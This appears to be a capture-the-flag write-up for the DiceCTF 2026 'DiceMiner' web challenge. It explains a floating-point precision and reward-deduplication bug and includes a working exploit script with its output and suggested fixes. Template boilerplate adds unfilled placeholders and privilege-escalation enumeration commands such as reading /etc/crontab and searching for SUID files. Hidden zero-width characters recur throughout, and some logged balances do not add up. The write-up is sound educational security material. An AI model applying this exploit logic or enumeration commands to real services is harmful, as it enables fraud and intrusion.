← Back to Writeups
HTBN/AWeb

DiceMiner

XESXOR8/23/20268 min read
#web#htb#n/a

DiceMiner

Platform: Dicectf 2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-07 | Status: Solved Techniques: earnings_deduplication_mismatch, ieee754_precision_loss, integer_overflow_beyond_max_safe_integer, progressive_upgrade_exploitation

Summary

Task: Mining game where players need 1,000,000 DiceCoin to buy the flag, but 95% hauling cost makes normal play impossible. Solution: Exploit IEEE 754 floating-point precision loss at Number.MAX_SAFE_INTEGER combined with earnings/deduplication mismatch to multiply rewards.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: dicectf_2026 | ID: 20260307_dicega_diceminer
  • Tags: nodejs, javascript, express, md5, floating_point, ieee754, game_logic, mining_game, deterministic_world
  • Indicators: JavaScript Number arithmetic on user-controlled coordinates, earnings accumulated per-iteration but deduplication via object keys, HAULING_RATE making normal play impossible (95% loss), user state updated only after loop completes, coordinates used as string keys in object
  • Source: 20260307_dicega_diceminer.md

Foothold

Vulnerability / Misconfiguration

  1. Earnings_deduplication_mismatch
  2. Ieee754_precision_loss
  3. Integer_overflow_beyond_max_safe_integer
  4. Progressive_upgrade_exploitation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • earnings_deduplication_mismatch
  • ieee754_precision_loss
  • integer_overflow_beyond_max_safe_integer
  • progressive_upgrade_exploitation
  • Tags: nodejs, javascript, express, md5, floating_point, ieee754, game_logic, mining_game, deterministic_world

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"big rock become small paycheck"

A mining game web application built with Node.js/Express. Players register, start a game, and mine blocks in a 2D grid world to earn "DiceCoin". The goal is to accumulate 1,000,000 DiceCoin to buy the flag.

Target: https://diceminer.chals.dicec.tf/

Game Mechanics

ParameterValue
Starting balance0
Starting energy250
Energy per dig1
HAULING_RATE0.95 (95% loss!)
Flag cost1,000,000 DiceCoin
World seed42 (deterministic via MD5)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Pickaxe Upgrades

PickaxeCostRangeTier
WoodenFree50
Stone100151
Iron500402
Gold50001003

Ore Distribution by Depth

OreDepthTierReward
Surface/Stone/Coaly ≤ 00~80
Irony ≤ -151~300
Goldy ≤ -302~750
Diamondy ≤ -503~1500

Under normal play, even with perfect strategy, 250 energy × best possible net per dig is far below 1,000,000 due to the 95% hauling cost. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Vulnerability: IEEE 754 Floating-Point Precision Loss + Earnings/Deduplication Mismatch

The critical vulnerability is in the /api/dig endpoint's mining loop in server.js:

let cx = user.x;
let cy = user.y;
let remaining = pickaxe.range;

while (remaining > 0) {
    cx += dx;  // <-- THE BUG IS HERE
    cy += dy;
    
    if (cy > 0) break;
    const key = cx + ',' + cy;
    
    if (user.mined[key]) {
        remaining--;
        continue;
    }
    
    const blockType = getBlockType(cx, cy);
    const ore = ORES[blockType];
    if (!ore) break;
    if (ore.tier > pickaxe.tier) break;
    
    mined[key] = true;       // local dict — deduplicates by key!
    earnings += ore.reward;   // accumulates EVERY iteration!
    remaining--;
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

After the loop, the hauling cost is computed from UNIQUE mined blocks only:

const blocks = Object.keys(mined);  // unique keys only!
let haulBase = 0;
for (const key of blocks) {
    const [bx, by] = key.split(',').map(Number);
    const ore = ORES[getBlockType(bx, by)];
    haulBase += ore.reward;
}
const cost = Math.floor(haulBase * HAULING_RATE);
const net = earnings - cost;

Two bugs combine:

  1. IEEE 754 precision loss: In JavaScript, Number.MAX_SAFE_INTEGER = 2⁵³ - 1 = 9007199254740991. When cx reaches 2⁵³ (9007199254740992), the operation cx += 1 produces 2⁵³ again because 2⁵³ + 1 cannot be represented exactly in IEEE 754 double-precision. So cx gets permanently stuck at 2⁵³. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  2. Earnings vs deduplication mismatch: earnings accumulates ore.reward on every loop iteration, but mined{} is a JavaScript object that deduplicates by key. When all iterations produce the same key (due to the float bug), mined contains only 1 entry while earnings has range × reward.

  3. Deferred state update: user.mined[key] is only updated AFTER the loop completes, so during the loop the check user.mined[key] returns false for the stuck coordinate, allowing repeated mining of the "same" block. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Exploitation Math

When cx is stuck at 2⁵³, all iterations produce the same coordinate key:

  • earnings = range × ore.reward (accumulated every iteration)
  • haulBase = 1 × ore.reward (only 1 unique key in mined{})
  • cost = floor(ore.reward × 0.95)
  • net = range × ore.reward - floor(ore.reward × 0.95)

Example with Gold Pickaxe (range 100) mining diamond (reward 1500):

  • earnings = 100 × 1500 = 150,000
  • haulBase = 1 × 1500 = 1,500
  • cost = floor(1500 × 0.95) = 1,425
  • net = 150,000 - 1,425 = 148,575 per energy point! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

With 250 energy, theoretical max = 250 × 148,575 = 37,143,750 DiceCoin — far exceeding the 1,000,000 needed.

Solution

Strategy: Progressive Pickaxe Upgrades

  1. Start at x = 9007199254740991 (Number.MAX_SAFE_INTEGER)
  2. Dig down to create a vertical shaft (normal mining, small earnings)
  3. Dig right at each y-level — cx gets stuck at 2⁵³, exploiting the float bug
  4. Progressively upgrade pickaxes to access deeper/richer ores:
  • Wooden (range 5): exploit coal blocks → earn enough for Stone Pickaxe
  • Stone (range 15): exploit iron blocks → earn enough for Iron Pickaxe
  • Iron (range 40): exploit gold blocks → earn enough for Gold Pickaxe
  • Gold (range 100): exploit diamond blocks → earn 148,575 per dig
  1. Buy the flag once balance ≥ 1,000,000 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Exploit Script

const BASE_URL = 'https://diceminer.chals.dicec.tf';
const START_X = 9007199254740991; // Number.MAX_SAFE_INTEGER

async function api(method, path, body) {
    const opts = { method, headers: { 'Content-Type': 'application/json' } };
    if (body) opts.body = JSON.stringify(body);
    const res = await fetch(BASE_URL + path, opts);
    return res.json();
}

async function exploit() {
    const username = 'exploit_' + Date.now();
    const password = 'password123';

    // Register and start game at MAX_SAFE_INTEGER
    await api('POST', '/api/register', { username, password });
    await api('POST', '/api/start', { x: START_X });
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    // Phase 1: Wooden Pickaxe (range 5, tier 0) — mine coal
    // Dig down to y=-7 (coal zone), then dig right to trigger float bug
    for (let i = 0; i < 7; i++) {
        await api('POST', '/api/dig', { direction: 'down' });
    }
    // Dig right — cx goes from MAX_SAFE_INTEGER to 2^53 and gets stuck
    // All 5 iterations hit same key, earnings = 5 × coal_reward
    let result = await api('POST', '/api/dig', { direction: 'right' });
    console.log(`Coal exploit: net=${result.net}, balance=${result.balance}`);
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    // Repeat until we can afford Stone Pickaxe (100 DiceCoin)
    // ... (dig down to new y-levels, dig right each time)

    // Phase 2: Buy Stone Pickaxe, exploit iron at y≤-15
    await api('POST', '/api/buy', { item: 'stone_pickaxe' });

    // Phase 3: Buy Iron Pickaxe, exploit gold at y≤-30
    await api('POST', '/api/buy', { item: 'iron_pickaxe' });

    // Phase 4: Buy Gold Pickaxe, exploit diamond at y≤-50
    await api('POST', '/api/buy', { item: 'gold_pickaxe' });

    // Each dig with Gold Pickaxe on diamond: net ≈ 148,575
    // Need ~7 digs to reach 1,000,000
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    // Buy the flag
    const flagResult = await api('POST', '/api/buy', { item: 'flag' });
    console.log('[FLAG]', flagResult.flag);
}

exploit();

Execution Results

=== PHASE 1: Wooden Pickaxe (range 5, tier 0) ===
  y=-7 (coal): net=324, balance=626
  y=-8 (coal): net=324, balance=950
  y=-13 (coal): net=324, balance=1438
After Phase 1: balance=1479

=== PHASE 2: Stone Pickaxe (range 15, tier 1) ===
  y=-23 (iron): net=4215, balance=6797
  y=-28 (iron): net=4215, balance=12559
After Phase 2: balance=18325
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

=== PHASE 3: Iron Pickaxe (range 40, tier 2) ===
  y=-52 (gold): net=29288, balance=56661
  y=-54 (gold): net=29288, balance=86340
After Phase 3: balance=91419

=== PHASE 4: Gold Pickaxe (range 100, tier 3) ===
  y=-61 (diamond): net=148575, balance=235970
  y=-92 (diamond): net=148575, balance=689631
  y=-105 (diamond): net=148575, balance=870897
  y=-113 (diamond): net=148575, balance=1106639
Reached 1,000,000! Balance: 1106639

=== BUYING FLAG ===
[FLAG] dice{REDACTED}

Possible Fixes

  1. Use BigInt for coordinates — prevents IEEE 754 precision loss
  2. Compute earnings from unique blocks onlyearnings = sum of rewards for Object.keys(mined) instead of accumulating per-iteration
  3. Check local mined dict during the loopif (mined[key]) { remaining--; continue; } before adding to earnings
  4. Validate coordinate ranges — reject coordinates near MAX_SAFE_INTEGER ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR